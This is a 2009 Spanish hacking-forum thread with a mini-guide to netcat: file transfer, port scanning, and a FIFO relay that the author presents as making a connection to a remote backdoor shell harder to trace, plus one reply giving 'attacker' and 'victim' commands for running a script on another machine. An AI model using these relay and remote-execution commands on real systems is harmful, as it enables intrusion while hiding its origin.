elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: 4n4lDetector v1.3: herramienta de análisis estático de malware


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Básico (Moderadores: zhyzura, toxeek)
| | | |-+  [Mini-Guía] Otros usos de netcat
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [Mini-Guía] Otros usos de netcat  (Leído 22,833 veces)
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.219


Como no sabían que era imposible, lo hicieron...


Ver Perfil
[Mini-Guía] Otros usos de netcat
« en: 8 Octubre 2009, 14:02 »

Bueno, aunque este tema también está muy trillado, quizás haya gente que únicamente utiliza el Netcat para conseguir una shell/reverse shell

A parte de esto, hay bastantes funcionalidades que nos ofrece esta navaja suiza, y que en algún momento dado nos pueden servir de ayuda.

Este texto no pretende ser una guía exhaustiva, simplemente un punto de partida para que la gente le pique la curiosidad y explore un poquito más los posibles usos del Netcat

- Transferencia de archivos:

Hay momentos, en que estamos buscando pasarnos archivos de un host a otro y no sabemos como, netcat nos ofrece una forma muy cómoda de conseguir esto, sin necesidad de montarnos un mini FTP o cualquier otra cosa que se nos ocurra.

Es tan sencillo como lo siguiente:
      en el servidor:
Código:
# netcat -l -p 5050 > pass.txt
    en el cliente:  
Código:
# cat pass.txt | netcat ip_server 5050

Con esto conseguimos pasarnos sin problemas un simple archivo de texto, pero....
Que pasa si queremos ir un pelín más allá, y pasarnos un binario (un ejecutable, un simple fichero openoffice,...)?¿?¿
Vamos a probar a ver que ocurre:

       en el servidor:
Código:
# netcat -l -p 5050 > ej.odt
    en el cliente:  
Código:
# cat salida.odt | netcat ip_server 5050

Y ahora comprobemos (suponiendo que el ejemplo lo hemos hecho en la misma máquina):
    
Código:
# diff ej.odt salida.odt
#

Como vemos, no hay NINGUNA diferencia, asi que podremos transmitir binarios sin problemas... ;-) :silbar:


- Relays utilizando netcat:

    Para este ejercicio necesitaremos 3 máquinas distintas. Crearemos un relay
en la máquina Linux utilizando un netcat ejecutándose en modo de escucha y como cliente.
Este reenvío dirigirá los datos de una primera máquina(A) hacia otra(B).
Esta máquina de reenvío conectará una primera máquina ejecutando un
netcat en modo cliente con una tercera (C) ejecutando netcat en modo servidor
o escucha.

Una vez establecido, el reenvío podría permitir el acceso a esta última
máquina desde la máquina original.

El host intermedio hace de proxy, de forma que nosotros nos conectamos a el
y el nos conecta al servidor final, de esta forma conseguimos que sea más
dificil rastrearnos, ya que en los logs del server aparecerá la Ip del host
relay.
Obviamente cuantos más hosts intermedios usemos más dificil se hará
la tarea de rastrearnos.

    Una manera de crear relays es unir la entrada y la salida de un cliente y
servidor netcat utilizando un chero especial denominado FIFO (First In, First Out).
Podemos crear un fichero FIFO y utilizarlo para unir un netcat en modo
servidor con un cliente con las siguientes órdenes:

    
Código:
# mknod backpipe p
# nc -l -p [puertoA] 0<backpipe | nc [IP_Destino] [Puerto_Destino] 1>backpipe
                                                     
    Donde el puertoA  es el puerto donde escucha el relay y  Puerto_Destino es el
puerto de la máquina destino (IP_Destino) donde hemos situado la puerta trasera
con la shell. Es importante no poner espacios en las redirecciones (>,<). Estas
redirecciones permiten dirigir la entrada y salida estándar hacia backpipe y no
pueden tener espacios junto a ellos.
    Para que esto funcione es necesario que si tenemos un mecanismo de filtrado
de paquetes permitamos que el paso de los paquetes hacia la máquina C. Es
posible que si tenemos activo iptables (que puede funcionar como un cortafuegos)
esto no esté permitido. Podemos desactivar iptables del siguiente modo:
      
Código:
/etc/init.d/iptables stop

Bueno, pues manos a la obra, como dijimos, vamos a necesitar 3 máquinas (en mi caso,
el propio host donde trabajo, y 2 máquinas virtuales), las IP's son las siguientes:
Citar
Server: 192.168.1.129
Relay: 172.16.72.135
Cliente: 172.16.72.136

Procedamos pues.

En el Servidor, mediante netcat dejamos un puerto a la escucha con una shell de regalo:
Código:
# nc -l -p 5555

En el Relay, creamos la FIFO, y mediante tuberías unimos el asunto:

        
Código:
# mknod buffer p
# netcat -l -p 1111 0<buffer | netcat 192.168.1.129 5555 1>buffer

Como se observa, primero creamos el buffer con ayuda de mknod, y después, usamos este para unir la entrada estandar (que en este caso será lo que nos mande el cliente mediante netcat) con la conexión al Servidor y guardar de nuevo la salida de esta última conexión en el buffer, que se reenviará al Cliente (Es un poco lioso, asi que mirar detenidamente la instrucción y tratar de entender paso a paso lo que haría)

Finalmente, nos conectamos desde el cliente y observamos que tenemos la shell con el Server:
    
Código:
# netcat 172.16.72.135
pwd
/home/XXXX

Para asegurarnos que la conexión desde el cliente hasta el servidor, ha sido "enmascarada" por el relay, vemos en el Servidor las conexiones activas, flitrando por el puerto 5555 que es donde estábamos escuchando, y obtenemos lo siguiente:

Código:
# sudo netstat -aveptn | grep 5555
tcp        0      0 192.168.1.129:5555      172.16.72.135:51220     ESTABLECIDO 1000       44068       9038/bash

Vemos que efectivamente alguien se ha conectado a nuestro puerto 5555, que tiene una shell (bash), y que la conexión proviene del Relay (172.16.72.135:51220)


- Uso como scanner:

Nos podemos encontrar en algún entorno en el que no tengamos a mano NMap o miscelaneos, por lo que como no, siempre podemos echar mano de nuestro amigo, y usarlo como un scanner de puertos (algo ruidoso y tosco, eso si :P)

por ejemplo:
Código:
# nc -vv 127.0.0.1 22-25
localhost [127.0.0.1] 25 (smtp) : Connection refused
localhost [127.0.0.1] 24 (?) : Connection refused
localhost [127.0.0.1] 23 (telnet) : Connection refused
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_4.7p1 Debian

- Y más...

Hay MUCHAS más cositas que hacer con este estupenda herramienta, se me ocurren cosas como:

- un bruteforcer: Podríamos crear un diccionario, y mandar palabra por palabra
      sus entradas a un puerto de forma que cuando se encuentre la contraseña
      correcta se registre.

- sacar información: bastará con conectarse al puerto del que queramos
      extraer la información del servicio y guardar su respuesta para luego
      analizarla.

- mini-chat: aunque no os lo creais, esto se usa (verdad Averno?¿ :P)

Y esto es SÓLO la punta del iceberg, si teneis curiosidad, echarle un vistazo a esto:
http://nmap.org/ncat/guide/ncat-tricks.html

salu2!









« Última modificación: 8 Octubre 2009, 14:04 por kamsky » En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
PitJunFan

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: [Mini-Guía] Otros usos de netcat
« Respuesta #1 en: 8 Octubre 2009, 18:01 »

Gracias por tu aporte se agradece.
En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.178


>.<


Ver Perfil WWW
Re: [Mini-Guía] Otros usos de netcat
« Respuesta #2 en: 8 Octubre 2009, 21:17 »

alguna vez estaba programando en batch un escaner de puertos [...]

no sabia que se podia usar como parametro un rango xDDDD
En línea

kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.219


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: [Mini-Guía] Otros usos de netcat
« Respuesta #3 en: 8 Octubre 2009, 21:30 »

jejejeje, suele pasar, mucha gente desconoce el gran abanico de posibilidades que permite NetCat, de ahí su apodo de Navaja Suiza
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
toxeek
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.636


Ver Perfil
Re: [Mini-Guía] Otros usos de netcat
« Respuesta #4 en: 9 Octubre 2009, 13:12 »

Citar
- mini-chat: aunque no os lo creais, esto se usa (verdad Averno?¿ :P)

                     ;-)
En línea

"La envidia es una declaración de inferioridad"
Napoleón.
zhyzura
Moderador
***
Desconectado Desconectado

Mensajes: 2.489



Ver Perfil
Re: [Mini-Guía] Otros usos de netcat
« Respuesta #5 en: 9 Octubre 2009, 23:54 »

la transferencia de archivos es algo tambien bastante usado y a pesar de ello muchas personas siempre tienen problemas para que les funcione je ojala mas de alguno se aclare...
En línea

kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.219


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: [Mini-Guía] Otros usos de netcat
« Respuesta #6 en: 10 Octubre 2009, 12:38 »

si, quizás el traspaso de archivos sea de las funciones más usadas, y la verdad es que no le veo la dificultad!! :P
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [Mini-Guía] Otros usos de netcat
« Respuesta #7 en: 10 Octubre 2009, 16:47 »

Mirando el post se me ocurrio un nuevo uso para linux si está deshabilitada la opción -e.
La opción sirve para poder ejecutar scripts en el equipo remoto.
Equipo atacante : 192.168.1.33
Equipo víctima : 192.168.1.34
Pues en el equipo atacante hacemos :
Código
  1. $ nc -l -p 18181 > logs.txt
En el víctima :
Código
  1. $ `nc -l -p 19191` | nc 192.168.1.33 18181
Y por ultimo, en el atacante :
Código
  1. $ nc 192.168.1.34 19191 < script.sh
Todo eso ejecutaría el script.sh en el equipo víctima y el resultado se guardaría en logs.txt del equipo atacante.
« Última modificación: 10 Octubre 2009, 23:16 por braulio23 » En línea

kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.219


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: [Mini-Guía] Otros usos de netcat
« Respuesta #8 en: 10 Octubre 2009, 23:12 »

pues la verdad es que no se muy bien lo que pretendes hacer... :-\

en el atacante dejas un puerto abierto, y después te conectas desde el mismo atacante pasándole como argumentos la salida del script... :huh: :huh:

por otro lado, en la víctima dejas un puerto a la escucha (al que nadie se conecta), pasando su salida (ninguna) a la conexión con el puerto atacante... :huh:

p.d.: supongo que te habrás equivocado en lo que has puesto, pero partiendo de tu idea, si no eres capaz de obtener una shell (con -e, que no entiendo porque iba a estar deshabilitado), tampoco podrás ejecutar comandos, lo único que conseguirás es pasarle una serie de comandos...vamos, como si estuvieras copiando un archivo

salu2
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [Mini-Guía] Otros usos de netcat
« Respuesta #9 en: 10 Octubre 2009, 23:16 »

Pero por defecto en linux viene con la opcion -e desactivada.
Me confundí con los puertos, ya está bien.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Enviar un 'mail' sin copia oculta y otros usos comunes que violan la ....
Noticias
wolfbcn 0 519 Último mensaje 14 Abril 2015, 01:44
por wolfbcn
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines